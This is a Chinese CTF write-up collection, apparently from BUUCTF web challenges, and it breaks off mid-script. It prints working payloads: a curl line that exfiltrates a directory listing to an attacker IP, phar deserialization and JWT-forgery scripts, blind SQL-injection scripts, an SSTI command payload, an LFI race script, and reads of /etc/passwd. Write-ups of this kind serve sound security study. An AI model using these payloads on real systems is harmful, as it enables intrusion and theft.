no_one_know_the_manager?key=arzTSdH0PKQWVMcQ1SNPOe0xiO7SgzsYe8jK+ATmpqg=&shell=curl ip:端口/`ls /|base64`

非预期

[b01lers2020]Welcome to Earth

一开始进去页面抓包没看到啥,试试删掉url的die

抓包后:

访问/chase/抓包

<!DOCTYPE html>
<html>
  <head>
    <title>Welcome to Earth</title>
  </head>
  <body>
    <h1>CHASE!</h1>
    <p>
      You managed to chase one of the enemy fighters, but there's a wall coming
      up fast!
    </p>
    <button onclick="left()">Left</button>
    <button onclick="right()">Right</button>

    <img
      src="/static/img/Canyon_Chase_16.png"
      alt="canyon chase"
      style="width:60vw;"
    />
    <script>
      function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
      }

      async function dietimer() {
        await sleep(1000);
        die();
      }

      function die() {
        window.location = "/die/";
      }

      function left() {
        window.location = "/die/";
      }

      function leftt() {
        window.location = "/leftt/";
      }

      function right() {
        window.location = "/die/";
      }

      dietimer();
    </script>
  </body>
</html>

访问/leftt/

访问/shoot/

访问/door/

访问/open/

访问/fight/

然后直接拼起来:pctf{hey_boys_im_baaaaaaaaaack!}

[CISCN2019 华北赛区 Day1 Web1]Dropbox

phar

先注册登录

有个上传文件,上传后可以下载

发现可以通过改filename来控制下载文件,就可以读源码:

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

看到file_get_contents就知道要利用这个

我们首先看到入口函数:

public function __destruct() {

$this->db->close();

}

会调用db的close方法,如果我们令db=FileList,因为该类中不含close方法,所以会调用_call

————————————————

这是其他师傅的解释

__call() 当所调用的成员方法不存在(或者没有权限)该类时调用有。两个参数,

第一个参数是,调用这个不存在的方法的方法名,

第二个参数是,调用这个不存在的方法的方法参数(调用这个函数时的参数)

public function __call($func, $args) {

array_push($this->funcs, $func);#$funcs成员变量存放这个不存在的方法的方法名

foreach ($this->files as $file) { #file就是每个我们上传文件的File对象

$this->results[$file->name()][$func] = $file->$func();#results成员变量是个二维数组,

#一维存放我们上传的文件名,

#二维存放对应文件在调用不存在的方法后的结果,每个方法对应一个结果

}

}

因为$func()这里指的就是close(),所以我们只要把$file=File,就可以实现file_get_contents

这是FileList的_destruct

通过echo table输出

反序列话的链子找到了,那么要如何反序列化呢?

phar://伪协议可以让一些函数自动反序列化

别的师傅写的:

这里贴个脚本:

<?php

class User {
    public $db;
}

class FileList {
    private $files = array();
    public function __construct() {
        $file = new File();
        array_push($this->files,$file);
    }
}

class File {
    public $filename = '/flag.txt';
}

$phar=new Phar('phar.phar');
$phar->startBuffering();//创建一个名为 phar.phar 的 PHAR 归档文件,并开始缓冲写入内容
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); 
$phar->addFromString('test.txt','test');  //向 phar 文件中添加一个测试文件 test.txt,内容为 "test"
$obj= new User();
$obj->db=new FileList();
$phar->setMetadata($obj); //将自定义的metadata存入manifest
$phar->stopBuffering();//停止缓冲

?>

将生成的phar.phar上传改为.jpg格式

删除的时候还是抓包:

filename=phar://phar.jpg

[HFCTF2020]EasyLogin

登录后查看js,感觉就在这里:

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

 function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

有个/api/flag,访问看看

根据提示,这里是koa框架,ai搜一下有啥东西:

my-koa-app/

├── app.js # 主入口文件

├── config/ # 配置文件(数据库、密钥等)

│ └── config.default.js

├── controllers/ # 控制器:处理请求逻辑

│ ├── userController.js

│ └── flagController.js

├── routes/ # 路由定义

│ ├── index.js

│ └── api.js

├── services/ # 业务逻辑层(非必须)

├── models/ # 数据模型(如使用 ORM)

├── public/ # 静态资源(HTML、CSS、JS)

├── views/ # 模板文件(如使用 ejs、pug 等)

├── middleware/ # 自定义中间件

├── utils/ # 工具类函数

├── app.js # 核心 Koa 实例创建

└── package.json # 项目依赖和脚本

拿的图:

访问/controllers/api.js ( 处理 HTTP 请求的业务逻辑代码 )

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

审计可以发现不让注册admin,但是想要flag就要admin

通过ctx.session.username !== 'admin'判断的

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

伪造

先去解密:网站

JWT 的基本结构

JWT 由三部分组成:

header.payload.signature

每部分都是 Base64Url 编码 的字符串,然后用点号 . 连接起来,例如:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.

TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh93/dcMBU


1. Header(头部)

描述 JWT 的元数据,通常是以下格式:

{

"alg": "HS256",

"typ": "JWT"

}

alg

签名算法(如 HS256、RS256)

typ

Token 类型,默认为 JWT

编码后变成:

1

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9


2. Payload(载荷 / 数据)

存放有效信息(claims),分为三种类型:

注册声明(Registered claims):

  • iss(issuer):签发者
  • exp(expiration time):过期时间(Unix 时间戳)
  • sub(subject):主题(通常是用户 ID)
  • aud(audience):接收者
  • nbf(not before):生效时间
  • iat(issued at):签发时间
  • jti(JWT ID):唯一 ID

公共声明(Public claims):

自定义字段,比如:

json

{

"username": "admin",

"role": "user"

}

私有声明(Private claims):

仅在双方之间共享的数据。

示例 payload:

{

"sub": "1234567890",

"name": "John Doe",

"admin": true

}

编码后变成:

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9


3. Signature(签名)

header.payload 拼接成字符串,并使用 header.alg 指定的算法和密钥进行签名。

通过解密,我们就可以反向构造jwt

脚本:

import jwt
token = jwt.encode(
{
  "secretid": [],
  "username": "admin",
  "password": "123",
  "iat": 1751201139
},
algorithm="none",key="").encode(encoding='utf-8')
 
print(token)

这里secretid表示要用到哪个加密,我们给他制空,啥都不用

这里的iat为解出来的,和抓包到的一致

记得脚本里的username和password和POST提交要一致

将响应两个红色的记下来,直接访问api/flag

October 2019 Twice SQL Injection

看题目,估计是二次注入,应该就是info里面出的

这里试一下:

1' union select group_concat(table_name) from information_schema.tables where table_schema=database()#

ok,继续

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

1' union select group_concat(flag) from flag#

[SWPUCTF 2018]SimplePHP

phar反序列化

看到有个file参数,查看文件:

file.php

看看class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

phar反序列化,开始找链子

首先看到Test类的file_get的方法有一个file_get_contents

然后file_get在get中调用,get在_get中调用,_get则是在访问到private或不存在的变量中触发

然后看 $content = $this->str['str']->source;

我们让str为Test类,因为source不存在,所以可以调用_get方法

__toString的调用方法也是典中典的,找echo
echo $this->test;

pop链构建完成

直接掏个脚本:

<?php
 
class C1e4r{
    public $test;
    public $str;
}
 
class Show
{
    public $source;
    public $str;
}
 
class Test
{
    public $file;
    public $params;
 
}
$cle4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source']='/var/www/html/f1ag.php';
$show->str['str']=$test;
$cle4r->str=$show;
 
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($cle4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
 
 
?>

看到

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>

根据这个,我们上传,抓包,改为jpg

然后因为 $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

推出路径:

或者直接访问uopload

base64解密得flag

[GYCTF2020]Ezsqli

无列名注入

插叙1,2,3,发现到3就开始报错了,输入union出现false,感觉可以用bool盲注

这题fuzz后发现information_schema被过滤了

这时候就要无列名注入

文章

这里是直接放一个其他师傅写的脚本,用二分法找的

import time
import requests
import sys
import string
import logging
 
 
# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target="http://c71bd22f-c98d-4338-81e7-05819d26554e.node5.buuoj.cn:81/index.php"
 
dataStr="(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database())"
 
def binaryTest(i,cu,comparer):
    s=requests.post(target,data={"id" : "0^(ascii(substr({},{},1)){comparer}{})".format(dataStr,i,cu,comparer=comparer)})
    if 'Nu1L' in s.text:
        return True
    else:
        return False
 
 
def searchFriends_sqli(i):
    l = 0
    r = 255
    while (l <= r):
        cu = (l + r) // 2
        if (binaryTest(i, cu, "<")):
            r = cu - 1
        elif (binaryTest(i, cu, ">")):
            l = cu + 1
        elif (cu == 0):
            return None
        else:
            return chr(cu)
 
 
def main():
    print("start")
    finres=""
    i=1
    while (True):
        extracted_char = searchFriends_sqli(i)
        if (extracted_char == None):
            break
        finres += extracted_char
        i += 1
        print("(+) 当前结果:"+finres)
    print("(+) 运行完成,结果为:", finres)
 
if __name__=="__main__":
    main()

然后怎么无列名找呢?

脚本:

import requests
import time
 
 
def post_text(string):
    return requests.post(url=url, data=string).text
 
 
def get_flag(char, value):
    return value + char
 
 
url = 'http://c71bd22f-c98d-4338-81e7-05819d26554e.node5.buuoj.cn:81/index.php'
post_d = {}
value = ''  # 无列名注入使用
for i in range(1000):
    low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
 
        payload = '2||((select * from f1ag_1s_h3r3_hhhhh)<(select 1,"{}"))'.format(get_flag(chr(mid), value))
        # print(payload)
        post_d['id'] = payload
        re = post_text(post_d)
 
        time.sleep(0.5)
        if "Nu" in re:
            high = mid
        else:
            low = mid + 1
        mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
 
    value += chr(mid - 1)
    print("value is -> " + value)

((select * from f1ag_1s_h3r3_hhhhh)<(select 1,"{}"))

这里我们是知道了flag是在第二列,所以我们用select 1,"{}"构造了一个临时的行来比较,直接比较第二列

转成小写

[CISCN2019 总决赛 Day2 Web1]Easyweb

看到有个image.php

然后试了一圈,访问robots.txt(终于用上这个了)

直接访问不行,就一个个试,发现image.php.bak可以下载

<�?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

有个addslashes函数:

str_replace(array("\\0","%00","\\'","'"),"",$id); : 这行代码的作用是将$id字符串中的\0%00\''这四个子字符串替换为空字符串(前面第一个 \ 是用来转义的,使其不被解释为其原始含义,而是作为普通字符处理)

所以当我输入id=\0后,addslashes变成\\0,str_replace后成\

select * from images where id='\' or path='{$path}'

红色部分就被注释了,可以变成

select * from images where id=' or path='{$path}',我们就可以该{$path}来注入了

拿个脚本:

import requests
 
flag=''
for i in range(1,500,1):
    for y in range(1,128,1):
        #url = 'http://d764732b-e781-4f66-a45d-f905287808c3.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=database()),'+str(i)+',1))='+str(y)+')%23'
        #url='http://d764732b-e781-4f66-a45d-f905287808c3.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),'+str(i)+',1))='+str(y)+')%23'
        url='http://d764732b-e781-4f66-a45d-f905287808c3.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(password))from(users)),'+str(i)+',1))='+str(y)+')%23'
        data=requests.get(url)
        if "JFIF" in str(data.content):
            flag=flag+chr(y)
            print(flag)
            break

用户就是admin,登录后发现有个文件上传,发现上传后给的路径直接就是一个php文件,那直接拿文件名字做木马

就是这样:

[RootersCTF2019]I_<3_Flask

ok

?name={{config.__class__.__init__.__globals__.os.popen('tac flag.txt').read()}}

[NPUCTF2020]ezinclude

条件竞争

抓包

发现name=1的时候hash变了,那这个因该就是pass

访问后发现有个文件包含,那就试试filter

?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
    die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

然后就是扫描,发现dir.php,同样看源码

这里有个漏洞:

php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

利用条件:

php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

[NPUCTF2020]ezinclude(PHP临时文件包含) - 「配枪朱丽叶。」

PHP LFI 利用临时文件 Getshell 姿势

然后这里我看其他师傅都用一个脚本:

import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = { 'file': BytesIO(payload.encode()) }
url = "http://d1796e51-5c85-4123-8ba1-0063ad1d828b.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
print(r.text)

但是我跑不出来

用另外一个思路:

原理:利用session.upload_progress上传一个临时文件,该文件里面有我们上传的恶意代码,然后包含它,从而执行里面的代码。因为该文件内容清空很快,所以需要不停的上传和包含,在清空之前包含该文件。

session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置PHPSESSID=yym68686(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS ,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=yym68686,所以Session文件将会自动创建。

因为session.upload_progress.cleanup = on这个默认选项会有限制,当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可

原文

import io
import re
import sys
import requests
import threading

host = 'http://d1796e51-5c85-4123-8ba1-0063ad1d828b.node5.buuoj.cn:81/flflflflag.php'
sessid = 'yym68686'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        if 'flag{' not in response.text:
            print('\rWaiting...', end="")
        else:
            print("\r" + re.search(r'flag{(.*?)}', response.text).group(0))
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

[NCTF2019]SQLi

有个

用字典跑一下好像都限了

看看robots.txt

这里可以用 regexp函数

username=\&passwd=||/**/passwd/**/regexp/**/"^x";%00

即相当于:
select * from users where /**/passwd/**/regexp/**/"^x";%00

脚本:

import requests
import string
 
 
url = "http://6c712779-a92c-4654-a7c2-75de9f1ccb42.node5.buuoj.cn:81/index.php"
str = string.ascii_lowercase + string.digits + "_"     

password= ""
while True:
    for i in str:
        data={
            'username':'\\',
            'passwd':'||/**/passwd/**/regexp/**/"^{}";\x00'.format((password+i))
        }
        res = requests.post(url=url,data=data).text
        if "alert" not in res:
            password = password + i
            print(password)

[网鼎杯 2020 半决赛]AliceWebsite

发现可以包含文件

[网鼎杯 2018]Comment

git泄露,www,二次注入

首先要先登录:
爆破

扫一下目录,发现有git

git修复:

//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

在comment中,select category from board where id='$bo_id,查的是category的内容,那我们就可以给category赋值

我们提交评论,让CATEGORY=0' content=database() ,/*

然后留言提交*/#

$sql = "insert into comment
            set category = '0',content = database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
 
 
更直观点
 
 
$sql = "insert into comment
            set category = '0',content = database(),/*',content = '*/#',
                bo_id = '$bo_id'";
 
 
 
/*',content = '*/#'
 
 
这里就为空了 所以现在的语句是
 
set category = '0',content = database(),
                bo_id = '$bo_id'";

0',content=(select load_file('/etc/passwd')),/*

有个www

感觉在var/www/html里面:

查看bash_history : 保存了当前用户使用过的历史命令,方便查找

0',content=(select(load_file("/home/www/.bash_history"))),/*

rm -f .DS_Store,还有var/www/html,那大概就是在这里了

他删除了 .DS_Store 文件,由于目标环境是docker,所以 .DS_Store 文件应该在 /tmp/html 中。而 .DS_Store 文件中,经常会有一些不可见的字符,可以使用hex函数对其进行16进制转换

0',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*

还真有,

0',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

[HarekazeCTF2019]encode_and_encode

看到有个源码:

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

应该是要利用file_get_contents

用json的方式传page,然后估计flag就在/flag

{"page": "php://filter/convert.base64.encode/resource=/flag.php"}

然后因为过滤了,所以换一种编码unicode

[网鼎杯2018]Unfinish

二次注入,from for

看看robots.txt

没东西wc

扫到register.php,是个登录界面

看到登录后有显示

猜测试二次注入,试了一下把information给ban了,所以又是无列名注入

既然这里显示的是用户名,我么可以构建: ' +(select ascii(database())) +'

看到成功返回ascii值,后面发现逗号也ban了

'+(select ascii(substr(database()from 2 for 1)))+'

ok,大致逻辑就清楚了,然后这里放一个脚本:

import requests
from bs4 import BeautifulSoup
def select_database():
    database= ""
    for i in range(100):
        #注册
        data_register={
            "email": "%d@qq.com" %(i),
            "username": f"0'+(select ascii(substr(database()from {i+1} for 1)))+'0",
            "password": "%d" %(i)
        }
        register=requests.post(url="http://06f5d2d8-3bb1-44bf-b189-e04c06bd9f60.node5.buuoj.cn:81/register.php", data=data_register)
        
        #登录
        data_login={
            "email":"%d@qq.com" %(i),
            "password":"%d" %(i)
        }
        login=requests.post(url="http://06f5d2d8-3bb1-44bf-b189-e04c06bd9f60.node5.buuoj.cn:81/login.php", data=data_login)
        html=login.text
        soup=BeautifulSoup(html,'html.parser')
